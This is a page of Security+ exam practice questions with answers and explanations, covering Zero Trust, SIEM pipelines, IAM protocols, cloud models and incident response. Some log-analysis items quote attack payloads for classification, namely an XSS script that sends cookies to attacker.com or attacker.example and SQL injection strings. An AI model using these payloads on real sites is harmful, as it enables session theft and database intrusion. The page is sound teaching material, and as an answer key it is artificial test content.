Examkin

All practice questions

2232 questions

All types2,232Multiple choice1,151Multiple select509Numeric21Matching378Ordering173
Question 801Question →

During a security assessment of a healthcare organization's cloud microservices, security engineers observe two critical design choices: internal microservices grant unrestricted access to API endpoints based strictly on whether incoming requests originate from internal IP address ranges, and large patient diagnostic image files stored at rest are encrypted individually using asymmetric RSA keys. Which of the following statements correctly identifies the primary architectural and cryptographic weaknesses in this design?

Show answer & explanation

Answer: Implicitly trusting internal IP addresses fails to enforce continuous authentication, while encrypting bulk files with asymmetric algorithms creates severe performance inefficiencies.

Answer

Implicitly trusting internal IP addresses fails to enforce continuous authentication, while encrypting bulk files with asymmetric algorithms creates severe performance inefficiencies.
The correct answer accurately identifies two fundamental weaknesses: granting access based on network location assumes implicit perimeter trust, violating Zero Trust principles; and encrypting large bulk data files directly with asymmetric ciphers causes extreme performance bottlenecks, whereas high-speed symmetric ciphers should be used for bulk data encryption.

Step-by-Step Solution

1
Analyze the access control weakness in the scenario.
Relying strictly on internal IP addresses assumes that all internal network traffic is inherently safe, violating Zero Trust principles which demand explicit verification regardless of network location.
Perimeter-based IP trust allows an attacker who gains internal network access to move laterally without authentication checks.
2
Analyze the cryptographic weakness in the scenario.
Asymmetric algorithms (like RSA) involve heavy mathematical operations and are intended for key exchange, digital signatures, or small data envelopes—not for direct bulk data file encryption.
Symmetric encryption (such as AES) should be used for bulk data due to its high computational efficiency.
3
Synthesize findings to identify the matching architectural statement.
The correct evaluation couples the failure of implicit network trust with the performance bottleneck of bulk asymmetric encryption.
Hybrid encryption (using symmetric keys for data and asymmetric keys to wrap symmetric keys) combined with continuous microservice authentication solves both flaws.

Key Concept

Zero Trust network verification and symmetric versus asymmetric cryptographic application bounds
Estimated Time:1m 30s
Question 802Question →

A security analyst is configuring a new Security Information and Event Management (SIEM) system. Match each SIEM log processing function on the left to its correct operation on the right.

Click a left item, then click its matching right item

Items

Log Parsing
Log Normalization
Event Correlation
Log Aggregation

Matches

Show answer & explanation

Answer

Log Parsing matches with extracting structured key-value pairs from raw log text. Log Normalization matches with mapping disparate log attributes into a standardized schema. Event Correlation matches with analyzing relationships across disparate log sources to detect threat patterns. Log Aggregation matches with consolidating redundant log entries to reduce storage overhead.
Each SIEM pipeline stage addresses a specific data processing requirement: Parsing converts raw unformatted text into structured fields; Normalization aligns varying field formats into a common vendor-agnostic taxonomy; Correlation connects events across different systems to identify multi-stage attacks; and Aggregation deduplicates identical events to reduce storage footprint.

Step-by-Step Solution

1
Identify the primary purpose of log parsing.
Parsing breaks raw unstructured text log entries into identifiable, structured attributes.
SIEM systems must parse raw logs before fields can be searched or processed.
2
Identify the primary purpose of log normalization.
Normalization enforces a consistent naming standard across diverse log sources.
Different vendors use different log column names, requiring schema standardization.
3
Identify the primary purpose of event correlation.
Correlation cross-references logs from multiple devices to uncover security incidents.
Complex attacks span multiple systems and require rules to connect separate events.
4
Identify the primary purpose of log aggregation.
Aggregation combines duplicate log records to optimize data storage and ingest performance.
High-volume repetitive logs generate unnecessary overhead if not merged.

Key Concept

SIEM Log Ingestion and Processing Pipeline Stages
Question 803Question →

A security administrator is reviewing the automated failover process for a high-availability cluster to ensure continuous operations during a hardware failure. What is the correct order of steps the cluster system takes when a primary node fails?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence starts with detecting the node failure via heartbeat loss, followed by fencing the primary node to prevent split-brain condition, promoting the secondary node and assigning the virtual IP, and concluding with service initialization and client traffic resumption.
In high-availability clustering, failover must strictly proceed from failure detection (heartbeat loss) to node fencing (isolation), followed by role promotion/virtual IP takeover, and finally service resumption. Fencing must occur before promotion to protect data integrity against split-brain scenarios.

Step-by-Step Solution

1
Detect primary node failure
Heartbeat loss alerts the cluster that the primary node is offline or unreachable.
Monitoring tools must detect an outage before initiating automated failover.
2
Isolate the failed primary node
Fencing (such as STONITH) cuts off the unresponsive node's access to shared resources.
Prevents split-brain scenarios where two nodes simultaneously act as primary and corrupt shared data.
3
Promote standby node and reassign virtual network identities
The secondary node changes state to active and rebinds the virtual IP address to its interface.
Ensures network traffic directed to the cluster IP gets routed to the new active node.
4
Resume application processing
Services start up completely and handle incoming user sessions.
Completes the failover procedure to achieve high availability.

Key Concept

High-Availability Automated Failover Sequence and Fencing
Question 804Question →

A financial enterprise is migrating its identity architecture to a cloud-hosted Identity Provider (IdP) while retaining a mission-critical legacy on-premises web application. The legacy application relies strictly on Integrated Windows Authentication (Kerberos) for user authentication and cannot be modified to support modern web standards such as SAML 2.0 or OpenID Connect (OIDC). Remote employees connect from unmanaged endpoints without direct line-of-sight network connectivity to internal Active Directory Domain Controllers. Which architectural pattern should the security team implement to provide secure single sign-on (SSO) to this application while maintaining a Zero Trust security posture?

Show answer & explanation

Answer: Deploy an Identity-Aware Proxy (IAP) combined with an on-premises application connector that performs Kerberos Constrained Delegation (KCD) after verifying modern IdP claims.

Answer

Deploying an Identity-Aware Proxy (IAP) with an on-premises connector that executes Kerberos Constrained Delegation (KCD) allows modern IdP authentication for remote users while translating claims into native Kerberos tickets internally without broad network exposure.
An Identity-Aware Proxy (IAP) pattern combined with Kerberos Constrained Delegation (KCD) solves the challenge of supporting legacy Kerberos authentication for remote users without compromising Zero Trust principles. The remote user authenticates against the modern cloud Identity Provider using strong controls (such as MFA). Upon successful authentication, the IAP connector residing within the internal network receives a secure signal and uses KCD to request a Kerberos service ticket on behalf of the user from Active Directory, delivering it to the legacy application.

Step-by-Step Solution

1
Analyze legacy application requirements
Identified Kerberos (Integrated Windows Authentication) as an unalterable protocol dependency that requires valid Active Directory Kerberos tickets for session establishment.
Legacy applications lacking SAML/OIDC support cannot consume modern claims directly.
2
Evaluate remote access and Zero Trust boundary constraints
Remote endpoints are unmanaged and lack direct line-of-sight to Domain Controllers, ruling out traditional perimeter network extension mechanisms.
Exposing internal domain services directly to remote endpoints breaches Zero Trust segmentation boundaries.
3
Select the appropriate IAM architectural bridge mechanism
An Identity-Aware Proxy (IAP) authenticates the remote client via the cloud IdP using modern standards, and an internal agent uses Kerberos Constrained Delegation (KCD) to impersonate the authenticated user to the backend web server.
KCD bridges modern identity federation protocols with legacy Windows authentication seamlessly and securely.

Key Concept

Identity and Access Management Architecture - Legacy SSO Integration & Zero Trust Proxy Patterns
Question 805Question →

A security engineer is configuring an enterprise Security Information and Event Management (SIEM) system to process event data collected from heterogeneous endpoints and network appliances across the organization. Arrange the stages of the SIEM log processing pipeline in the correct chronological sequence from initial log capture to analyst notification.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological order of stages in a SIEM log processing pipeline is: 1) Log Ingestion and Collection, 2) Parsing and Normalization, 3) Event Correlation, and 4) Alert Generation.
The standard SIEM data ingestion lifecycle begins with raw log collection from target endpoints and systems. Once ingested, raw logs are parsed and normalized into a unified structure so that different log formats share common field definitions. The SIEM correlation engine then processes these normalized events against correlation rules and threat intelligence to identify complex threat patterns across multiple hosts. Finally, when correlation conditions are satisfied, the SIEM generates alerts and notifications for security analyst response.

Step-by-Step Solution

1
Identify the initial source interaction stage.
Raw event streams are gathered from remote agents, syslog, and enterprise applications.
Log Ingestion and Collection must occur first because data cannot be formatted or analyzed until it is acquired from source devices.
2
Determine how heterogeneous log data is standardized.
Raw entries are parsed into key-value pairs and mapped to a single unified field schema.
Parsing and Normalization must follow collection so that events from different vendors can be understood under common variable names.
3
Analyze how standardized logs are processed for security logic.
Normalized event logs from disparate systems are analyzed simultaneously against security correlation rules.
Event Correlation requires normalized data to effectively evaluate multi-source telemetry and recognize complex attack vectors.
4
Determine the final output step of the pipeline.
Notifications and incident tickets are dispatched to security analysts for investigation.
Alert Generation occurs as the end result when correlation rules confirm actionable threat indicators.

Key Concept

SIEM Log Processing Lifecycle
Estimated Time:1m 30s
Question 806Question →

A security operations center (SOC) analyst is configuring correlation rules in an enterprise SIEM platform. Match each log entry signature snippet to the specific security attack vector or suspicious activity indicator it demonstrates.

Click a left item, then click its matching right item

Items

192.168.1.45 - - [27/Jul/2026:11:14:02 +0000] "GET /products.php?id=101%20UNION%20SELECT%20username,password_hash%20FROM%20users-- HTTP/1.1" 200 4521
EventID: 4625, TargetUserName: admin, WorkstationName: WORKSTATION01, FailureReason: Unknown user name or bad password (Repeated 450 times in 60 seconds)
10.0.4.12 - - [27/Jul/2026:11:15:33 +0000] "POST /comment.php HTTP/1.1" 200 1240 "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
EventID: 4769, ServiceName: krbtgt, TicketOptions: 0x40810000, TicketEncryptionType: 0x17 (RC4-HMAC), TargetUserName: [email protected]

Matches

Show answer & explanation

Answer

Matching pairs: (1) SQL Injection UNION SELECT payload matches SQL Injection exfiltration attempt; (2) Event ID 4625 rapid failures match Automated password brute-force attack; (3) HTTP POST script cookie stealer matches Cross-Site Scripting (XSS) payload; (4) Event ID 4769 with RC4 ticket encryption for service account matches Kerberoasting attack.
Each log pattern exhibits a unique signature key: SQL syntax elements signal SQL Injection, high-frequency logon failure events (Event 4625) indicate brute-force attempts, HTML script tags attempting cookie access indicate XSS, and Kerberos TGS requests (Event 4769) requesting RC4 encryption for service accounts indicate Kerberoasting.

Step-by-Step Solution

1
Analyze web log queries for database syntax.
Identify 'UNION SELECT username,password_hash FROM users' as SQL Injection.
SQL syntax in URL parameters indicates SQLi targeting backend database retrieval.
2
Analyze Windows Event ID 4625 patterns.
Identify high frequency (450 attempts/minute) of failed logons as online brute-forcing.
Event ID 4625 captures failed authentication events.
3
Inspect web log POST payloads for script tags.
Identify `<script>...document.cookie...</script>` as Cross-Site Scripting (XSS).
Executable JavaScript injected via web form inputs targeting session tokens represents XSS.
4
Evaluate Active Directory Kerberos ticket requests (Event ID 4769).
Identify RC4-HMAC (0x17) ticket requests for service accounts as Kerberoasting.
Kerberoasting forces legacy RC4 ticket issuance for service accounts to execute offline hash cracking.

Key Concept

Log Analysis and SIEM Correlation Signatures
Question 807Question →

An enterprise web application triggers a high-severity alert indicating that an active OAuth access token is simultaneously originating requests from two geographically disparate IP addresses. A security operations team is configuring an automated Security Orchestration, Automation, and Response (SOAR) playbook to remediate the account takeover attempt while preserving evidence. Place the following SOAR automated playbook steps into the correct execution sequence from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence for the SOAR playbook is: 1) Ingest the API Gateway anomaly webhook event, 2) Query threat intelligence and identity logs for enrichment, 3) Execute API requests to revoke OAuth tokens and terminate user sessions, 4) Push automated API commands to the WAF to block malicious IPs, and 5) Create an enriched ITSM incident ticket with attached forensic artifacts.
A standard SOAR automated incident response workflow adheres to a strict logical lifecycle. First, the playbook ingests the security alert payload from the detection system (API Gateway). Second, it queries external Threat Intelligence Platforms and Internal Identity Providers to enrich the alert with reputation scores and session metadata. Third, it performs identity-level containment by revoking active OAuth tokens and invalidating sessions via API integrations to neutralize compromised credentials instantly. Fourth, it enforces perimeter network filtering at the WAF to block malicious source IPs. Finally, it documents all orchestration actions, attaches collected evidence, and opens/updates an ITSM ticket for analyst review.

Step-by-Step Solution

1
Trigger & Ingestion
The SOAR platform receives the initial security event payload from the API Gateway.
Automation workflows cannot process data until the initial alert webhook is ingested into the orchestration engine.
2
Automated Contextual Enrichment
IP reputation scores and IdP session details are attached to the incident context.
Enrichment provides necessary context and validates the anomaly before executing destructive containment actions.
3
Identity & Account Containment
The compromised token is revoked and active user sessions are terminated.
Direct identity containment prevents further authenticated access regardless of the attacker's network location.
4
Infrastructure & Perimeter Containment
Network traffic from the attacker's IP addresses is dropped at the WAF boundary.
Network mitigation blocks ongoing unauthenticated scan or attack traffic from the malicious source IPs.
5
Documentation & ITSM Escalation
An incident ticket is updated with full audit trails, context, and mitigation status.
Recording automated actions ensures compliance, chain of custody, and operational visibility for SOC analysts.

Key Concept

SOAR Playbook Execution Order (Ingestion -> Enrichment -> Containment -> Documentation)
Question 808Question →

An enterprise security architect is categorizing modern enterprise workloads according to cloud service models and deployment architectures. Match each system requirement on the left with its corresponding cloud model on the right.

Click a left item, then click its matching right item

Items

Deploying a third-party customer relationship management portal where the vendor handles all infrastructure maintenance, operating system patching, and software updates.
Developing a microservices web API using managed runtime engines and databases, where internal developers manage application code while the provider handles OS maintenance.
Migrating legacy database workloads to cloud virtual machines where the internal team manages guest OS hardening, middleware configuration, and firewall rules.
Hosting a shared threat intelligence dataset restricted exclusively to member financial regulatory agencies with identical compliance requirements.

Matches

Show answer & explanation

Answer

The correct pairings are: 1) Vendor-managed software portal matches Software as a Service (SaaS). 2) Custom code on managed runtime engines matches Platform as a Service (PaaS). 3) Virtual machine migration with customer OS patching matches Infrastructure as a Service (IaaS). 4) Shared dataset restricted to industry peer agencies matches Community Cloud.
The correct pairings align with the cloud shared responsibility framework: fully outsourced software application delivery corresponds to SaaS, developer control over code on managed runtimes corresponds to PaaS, customer management of virtual machine operating systems and network settings corresponds to IaaS, and shared infrastructure among specific peer entities corresponds to Community Cloud.

Step-by-Step Solution

1
Analyze the operational responsibilities associated with each system requirement.
Differentiate between infrastructure control, application runtime control, software consumption, and tenant access scope.
Cloud service models define the division of maintenance responsibilities between provider and customer, whereas cloud deployment models specify resource sharing boundaries.
2
Pair complete vendor application administration with SaaS.
The requirement describing complete vendor software and infrastructure delivery maps to Software as a Service.
Under SaaS, users consume completed application features without managing lower-level technical components.
3
Pair custom application code running on abstracted environments with PaaS.
The requirement for managing code without maintaining the guest operating system maps to Platform as a Service.
PaaS isolates developers from system software administration while providing tools to deploy custom code.
4
Pair virtual machine guest OS hardening and firewall administration with IaaS.
The scenario where the internal team controls guest operating systems and middleware maps to Infrastructure as a Service.
IaaS provides raw virtualized compute and storage capabilities, placing all operating system and software stack responsibilities on the client.
5
Pair multi-tenant infrastructure restricted to specific peer organizations with Community Cloud.
The shared dataset limited to member regulatory agencies maps to Community Cloud.
Community clouds cater to closed groups with shared missions, regulatory constraints, and security standards.

Key Concept

Cloud Service and Deployment Model Categorization
Estimated Time:1m 30s
Question 809Question →

An enterprise security architect is evaluating advanced identity and access management (IAM) architectural components to enforce Zero Trust principles and streamline operations across a hybrid enterprise environment. Match each IAM architectural pattern to the specific security or operational requirement it is designed to address.

Click a left item, then click its matching right item

Items

Continuous Access Evaluation Profile (CAEP) / Shared Signals Framework
System for Cross-domain Identity Management (SCIM)
Privileged Access Management (PAM) with Just-In-Time (JIT) Access
OAuth 2.0 Mutual-TLS (mTLS) Client Authentication and Certificate-Bound Access Tokens

Matches

Show answer & explanation

Answer

Continuous Access Evaluation Profile (CAEP) matches real-time session revocation across federated relying parties. System for Cross-domain Identity Management (SCIM) matches automated account lifecycle provisioning across SaaS applications. Privileged Access Management (PAM) with Just-In-Time (JIT) access matches eliminating standing administrative privileges via ephemeral credentials. OAuth 2.0 mTLS client authentication and certificate-bound access tokens matches mitigating token replay attacks by cryptographically binding access tokens to transport connections.
Each IAM architecture pattern is aligned to its primary security function: CAEP provides event-driven continuous session re-evaluation; SCIM standardizes automated cross-domain identity lifecycle management; PAM with JIT provisions ephemeral privileges to eliminate standing access; and OAuth 2.0 mTLS cryptographically binds access tokens to client transport connections to prevent replay attacks.

Step-by-Step Solution

1
Analyze the requirement for mid-session revocation upon security triggers.
Identify CAEP / Shared Signals Framework, which continuously passes telemetry between IdPs and RPs to terminate sessions dynamically.
Standard SAML/OIDC access tokens are stateless and valid until expiration; CAEP addresses this limitation by broadcasting security events out-of-band.
2
Analyze the requirement for automated provisioning/deprovisioning across SaaS apps.
Identify SCIM as the standard protocol for schema-based user identity lifecycle management.
SCIM standardizes RESTful APIs for managing users and groups across different identity domains.
3
Analyze the requirement to eliminate standing administrative privileges.
Identify PAM with JIT Access, which provisions ephemeral credentials only when required for approved operations.
Standing access increases attack surface; JIT access enforces temporary privilege granting.
4
Analyze the requirement to protect API communication against token replay attacks.
Identify OAuth 2.0 mTLS / Certificate-Bound Tokens, which associate the access token with the client's TLS client certificate.
Sender-constrained tokens prevent attackers who capture a bearer token from using it on a different TLS connection.

Key Concept

Advanced Enterprise IAM Architecture and Protocols
Question 810Question →

A security analyst is investigating web traffic logs forwarded to an enterprise SIEM platform and identifies the following log entry:

`192.168.1.45 - - [27/Jul/2026:14:15:22 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on this log entry, which attack vector should be selected to classify this event and write a SIEM detection rule?

Show answer & explanation

Answer: Reflected Cross-Site Scripting (XSS) targeting client-side session tokens

Answer

Reflected Cross-Site Scripting (XSS) targeting client-side session tokens
The log entry demonstrates an HTTP GET request containing `<script>` tags that reference `document.cookie` and attempt to transmit it to an external server. This signature directly matches Cross-Site Scripting (XSS), specifically aimed at session hijacking.

Step-by-Step Solution

1
Inspect the URL query parameter within the HTTP GET log entry.
The parameter `q` contains `<script>` tags executing `document.location` redirect operations appended with `document.cookie`.
Identifying the payload structure reveals whether the execution context is client-side or server-side.
2
Differentiate Cross-Site Scripting (XSS) from database or access control attacks.
Script execution inside a web browser targeting session storage represents XSS.
XSS targets the client browser execution environment, whereas SQLi targets backend database engines.

Key Concept

Identifying web application attack payload signatures in SIEM HTTP access logs
Question 811Question →

A financial technology organization is deploying a multi-tier payment processing service using a managed Platform as a Service (PaaS) database solution provided by a cloud vendor. Under the cloud shared responsibility model, which of the following security tasks remains the exclusive responsibility of the organization's engineering team?

Show answer & explanation

Answer: Configuring database user access policies and managing data classification and encryption controls

Answer

Configuring database user access policies and managing data classification and encryption controls is the customer's responsibility in a PaaS deployment.
Under the cloud shared responsibility model for Platform as a Service (PaaS), the cloud service provider manages the physical hardware, network infrastructure, hypervisor, operating system, and database engine maintenance. The customer remains responsible for securing its data, configuring access permissions, implementing data classification, and enforcing appropriate data-at-rest encryption settings.

Step-by-Step Solution

1
Identify the cloud service model referenced in the scenario.
The deployment utilizes Platform as a Service (PaaS).
The responsibility division between the customer and provider depends directly on whether the service model is IaaS, PaaS, or SaaS.
2
Analyze the division of responsibility for PaaS deployments.
The Cloud Service Provider manages the hardware, network infrastructure, hypervisor, host OS, and database engine maintenance, while the customer manages data schemas, user permissions, and application configuration.
PaaS abstracts lower-level infrastructure management away from the customer.
3
Evaluate the options against customer responsibilities.
Managing data classification, database user access controls, and encryption configuration remains entirely with the customer.
The customer always owns and retains security responsibility for its data across all cloud service models.

Key Concept

Cloud Shared Responsibility Model in PaaS
Question 812Question →

During an automated security incident evaluation, a threat monitoring system correlated two consecutive events originating from external host 198.51.100.44:

text
Event ID 8102 [WAF Log]: 198.51.100.44 - - [12/Jun/2026:14:22:01 +0000] "GET /profile?user=<script>document.location='http://attacker.example/steal?c='+document.cookie</script> HTTP/1.1" 200 4520
Event ID 8103 [Auth Log]: 198.51.100.44 - - [12/Jun/2026:14:22:05 +0000] "POST /api/v2/auth/session_adopt HTTP/1.1" 200 128 Cookie: session_id=e9a1b2c3

Based on the log entries above, which security threat vector is actively taking place, and what is its primary impact?

Show answer & explanation

Answer: Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.

Answer

Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.
The WAF log entry displays a explicit `<script>` tag containing `document.cookie` intended to forward cookie data to an external location, which is a classic Cross-Site Scripting (XSS) attack vector. The subsequent authentication log entry shows the same external host presenting a valid session cookie four seconds later, confirming that the attacker successfully hijacked the session.

Step-by-Step Solution

1
Analyze Event ID 8102 payload structure
Identified client-side JavaScript execution payload `<script>document.location='...'+document.cookie</script>` submitted via HTTP GET query string.
Characterizes Cross-Site Scripting (XSS) targeted at stealing session storage identifiers.
2
Analyze Event ID 8103 log details and correlate timestamps
Four seconds after the XSS attempt, the same remote IP address submits a POST request containing a session Cookie header.
Confirms successful session hijacking following cookie exfiltration.
3
Evaluate overall threat vector
Determined that XSS was used as the vector to commit session hijacking.
Combines log evidence from both WAF and authentication log lines into a unified incident narrative.

Key Concept

Correlating multi-source logs in SIEM to detect XSS and session hijacking attack patterns
Question 813Question →

An enterprise organization installs two independent Internet Service Provider (ISP) lines connected to a perimeter router. If the primary connection experiences an outage, network traffic immediately routes through the secondary line to prevent network disruption. Which of the following resilience concepts is best demonstrated in this scenario?

Show answer & explanation

Answer: Link redundancy

Answer

Link redundancy
Link redundancy involves deploying multiple connection pathways so that if one provider or physical line fails, traffic automatically fails over to an operational link, eliminating single points of failure for network connectivity.

Step-by-Step Solution

1
Analyze the operational objective in the scenario.
The goal is to prevent network outages by establishing multiple independent internet connections.
The enterprise needs uninterrupted connectivity if a single provider connection fails.
2
Evaluate the architectural control deployed.
Installing dual ISP connections introduces redundant connectivity paths at the perimeter.
Redundancy ensures there is no single point of failure for internet routing.

Key Concept

Redundancy and High Availability Controls
Question 814Question →

During routine network monitoring, a security operations center (SOC) analyst confirms the presence of an unauthorized rogue wireless access point connected directly to a wall port in the enterprise building. Following standard incident response procedures, which of the following actions should the analyst perform first?

Show answer & explanation

Answer: Disable the switch port associated with the rogue wireless access point.

Answer

Disable the switch port associated with the rogue wireless access point.
Disabling the switch port isolates the rogue device from the network immediately, satisfying the requirement to contain the incident before executing recovery or post-incident activities.

Step-by-Step Solution

1
Determine the current incident response stage
The security incident has been detected and verified, placing the immediate requirement in the containment phase.
Containment halts the expansion of an active threat and prevents further unauthorized access to internal resources.
2
Select the immediate containment control
Disabling the underlying network switch port disconnects the unauthorized rogue device from the internal network infrastructure.
Isolating the rogue access point stops network exposure immediately, enabling safe proceeding to eradication and recovery phases.

Key Concept

Incident Response Lifecycle Containment Phase
Question 815Question →

During a threat hunting exercise, a security analyst discovers an unauthorized scheduled cron job executing a reverse shell script on a critical internal server. The analyst immediately isolates the host from the network to prevent command-and-control communications. According to standard incident response playbooks, which of the following actions should the analyst perform NEXT?

Show answer & explanation

Answer: Identify the initial entry vector, eliminate the persistent scripts, and patch the exploited vulnerability on the isolated server.

Answer

The analyst should proceed to the eradication phase by identifying the entry vector, removing persistent malicious scripts, and patching the underlying vulnerability on the isolated system.
In standard incident response frameworks (such as NIST SP 800-61), once containment is established by isolating the host, responders must transition to the Eradication phase. Eradication requires identifying how the attacker gained access, removing all malicious artifacts (such as the persistent cron job and scripts), and mitigating vulnerabilities so the system can be safely restored.

Step-by-Step Solution

1
Identify the current incident response phase
Network isolation of the compromised host confirms that the Containment phase has just been executed.
Determining the active phase establishes the required sequential workflow under standard NIST/ISO incident response frameworks.
2
Determine the mandatory next phase in the lifecycle
The phase immediately following Containment is Eradication.
The incident response lifecycle follows a strict sequence: Preparation → Detection & Analysis → Containment → Eradication → Recovery → Post-Incident Activity.
3
Select the action corresponding to Eradication
Analyzing root cause, removing persistence mechanisms (cron job/scripts), and applying security patches represent core Eradication activities.
Eradication ensures that all traces of the threat actor and vulnerabilities are remediated before any attempt is made to restore normal operations.

Key Concept

Incident Response Lifecycle Phase Ordering (Containment to Eradication)
Question 816Question →

A financial services organization maintains an on-premises datacenter hosting a critical legacy mainframe database and a public cloud environment running web microservices. The organization must allow cloud microservices to query specific API endpoints on the mainframe without exposing the mainframe's on-premises subnet to the entire cloud Virtual Private Cloud (VPC) and without allowing lateral East-West traffic if a cloud service is compromised. Which secure network design approach best achieves this requirement?

Show answer & explanation

Answer: Configuring private endpoint services to publish only the specific mainframe API interface directly into the cloud VPC via dedicated virtual private connections.

Answer

Configuring private endpoint services to publish only the specific mainframe API interface directly into the cloud VPC via dedicated virtual private connections.
Publishing the mainframe API through private endpoint technology provides granular service-level microsegmentation. It enables cloud microservices to interact exclusively with the designated API interface over a private connection without exposing the surrounding internal network or granting routing access to other on-premises systems.

Step-by-Step Solution

1
Analyze the access requirement between cloud microservices and the legacy mainframe.
Real-time API access is required, but network exposure must be strictly limited to the targeted service.
Broad subnet-to-subnet connectivity increases attack surface and lateral movement risks.
2
Evaluate segmentation mechanisms for hybrid cloud connectivity.
Private endpoints (such as Cloud PrivateLink) map a specific service endpoint to a private IP within the VPC without creating a full network route.
This enforces microsegmentation by isolating network access strictly to the required application port and interface.

Key Concept

Hybrid Cloud Microsegmentation and Private Endpoints
Estimated Time:1m 15s
Question 817Question →

A security operations center (SOC) analyst is investigating an active phishing campaign. The analyst needs to rapidly collect publicly accessible domain registration details, IP reputation scores, and security blogs without requiring commercial licensing or sector-specific trust memberships. Which of the following intelligence source categories should the analyst consult?

Show answer & explanation

Answer: Open-Source Intelligence (OSINT)

Answer

Open-Source Intelligence (OSINT)
Open-Source Intelligence (OSINT) refers to intelligence collected from publicly available resources, including WHOIS data, public code repositories, DNS records, and open security blogs, fulfilling the analyst's requirement for free and accessible data.

Step-by-Step Solution

1
Analyze scenario requirements
Identified key parameters: freely accessible, public domain/IP research, no commercial subscription, no closed membership required.
The analyst needs immediate threat context using publicly available resources.
2
Evaluate intelligence source categories against parameters
Open-Source Intelligence (OSINT) fits all criteria as it draws from public domain records, open repositories, and public research.
OSINT is defined by its public availability and accessibility without fee or restrictive membership.

Key Concept

Threat Intelligence Sources - OSINT vs Closed Sources
Question 818Question →

A security administrator is reviewing the following web server access log entry captured by a SIEM collector:

`192.168.1.45 - - [27/Jul/2026:14:15:30 +0000] "GET /products.php?id=1%27%20OR%20%271%27=%271 HTTP/1.1" 200 4520`

Which type of attack vector does this log entry indicate?

Show answer & explanation

Answer: SQL Injection

Answer

SQL Injection
The HTTP GET log entry includes `%27%20OR%20%271%27=%271`, which decodes to `' OR '1'='1`. This syntax attempts to force an SQL database query to evaluate to true, signifying a classic SQL injection attack.

Step-by-Step Solution

1
Examine the requested URI parameter in the web server log entry.
Identified URL-encoded string `%27%20OR%20%271%27=%271` in the `id` parameter.
URL decoding reveals SQL syntax: `' OR '1'='1`.
2
Determine the operational mechanism of the attack payload.
The payload forces a boolean TRUE condition (`'1'='1'`) within an SQL query filter.
This is a characteristic pattern of SQL injection aimed at bypassing query logic or extracting database records.

Key Concept

Identifying SQL Injection attack signatures in HTTP web server access logs
Estimated Time:45s
Question 819Question →

A high-precision robotics enterprise is implementing Zero Trust Architecture (ZTA) controls for remote field engineers accessing edge industrial control systems. An engineer successfully authenticates and establishes an active session to deploy firmware. Ten minutes into the session, real-time endpoint telemetry alerts the system that the engineer's workstation has disabled its local host firewall and initiated an unverified concurrent wireless network connection, severely degrading its dynamic security posture score. Which of the following actions should the Policy Decision Point (PDP) execute to maintain Zero Trust tenets?

Show answer & explanation

Answer: Signal the Policy Enforcement Point (PEP) to immediately revoke or restrict access to the active session based on continuous, real-time evaluation of the endpoint's degraded trust score.

Answer

Signal the Policy Enforcement Point (PEP) to immediately revoke or restrict access to the active session based on continuous, real-time evaluation of the endpoint's degraded trust score.
Under Zero Trust Architecture (ZTA) principles (such as NIST SP 800-207), access is continuously re-evaluated based on real-time threat intelligence and endpoint security posture telemetry. When an endpoint's posture degrades mid-session (such as disabling a host firewall or establishing an untrusted connection), the Policy Decision Point (PDP) must dynamically re-evaluate trust and command the Policy Enforcement Point (PEP) to restrict or terminate the active access session.

Step-by-Step Solution

1
Analyze the incident context against Zero Trust Architecture principles.
Identified that endpoint security posture degraded during an active session after initial authentication.
Zero Trust tenets dictate that trust is never implicit and must be continuously evaluated based on real-time telemetry.
2
Evaluate the architectural roles of the Policy Decision Point (PDP) and Policy Enforcement Point (PEP).
The PDP makes access decisions based on dynamic contextual signals, while the PEP enforces those decisions at the data plane.
The PDP must continuously synthesize telemetry signals (such as host firewall status and network connections) to determine ongoing authorization.
3
Select the response that correctly enforces continuous dynamic verification.
Instructing the PEP to dynamically restrict or terminate the session upon posture degradation aligns directly with ZTA standards.
Static session persistence, VPN redirection, or indiscriminate credential deletion fail to satisfy continuous dynamic policy decision requirements.

Key Concept

Continuous Verification and Dynamic Context-Based Policy Enforcement in Zero Trust Architecture
Estimated Time:2m 0s
Question 820Question →

An enterprise security architect is designing an Identity and Access Management (IAM) framework to integrate a newly acquired subsidiary into the organization's cloud identity infrastructure. The solution must provide cross-domain web-based federated Single Sign-On (SSO) for web applications, automate real-time user identity lifecycle provisioning and deprovisioning between the Identity Provider (IdP) and third-party SaaS platforms, and align strictly with Zero Trust architecture principles. Which of the following architectural standards and protocols should the architect deploy to fulfill these requirements? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Security Assertion Markup Language (SAML) 2.0 to enable cross-domain web browser federated authentication; System for Cross-domain Identity Management (SCIM) 2.0 to automate user account lifecycle provisioning and synchronization across platforms

Answer

The architect must deploy Security Assertion Markup Language (SAML) 2.0 for federated web Single Sign-On and System for Cross-domain Identity Management (SCIM) 2.0 for automated user account lifecycle provisioning.
To achieve modern, secure IAM architecture in a hybrid Zero Trust enterprise, SAML 2.0 provides standard XML-based security assertions for cross-domain web federated authentication. Simultaneously, SCIM 2.0 provides an open RESTful specification specifically tailored to streamline and automate identity lifecycle management (provisioning, updates, and offboarding) across disparate cloud application ecosystems.

Step-by-Step Solution

1
Analyze the web federated Single Sign-On requirement
Identify SAML 2.0 (or OIDC) as the standard protocol for cross-domain web application authentication federations.
SAML 2.0 passes security assertions containing authentication state between the Identity Provider and Service Provider.
2
Analyze the automated account lifecycle provisioning requirement
Identify SCIM 2.0 as the open standard REST API protocol for identity provisioning.
SCIM standardizes schema objects and endpoints to automate creating, updating, and deprovisioning user profiles across cloud service boundaries.
3
Evaluate the remaining options against Zero Trust principles and AAA fundamentals
Reject legacy network perimeter trust controls (RADIUS over IPsec) and misuse of authorization frameworks (OAuth 2.0 without identity layers).
Zero Trust rejects implicit network-level trust, and OAuth 2.0 handles access authorization rather than identity authentication.

Key Concept

Identity Federation Protocols (SAML/OIDC) and Automated Identity Provisioning Standards (SCIM)
PreviousPage 41 / 112Next
All practice questions — CompTIA Security+ | Examkin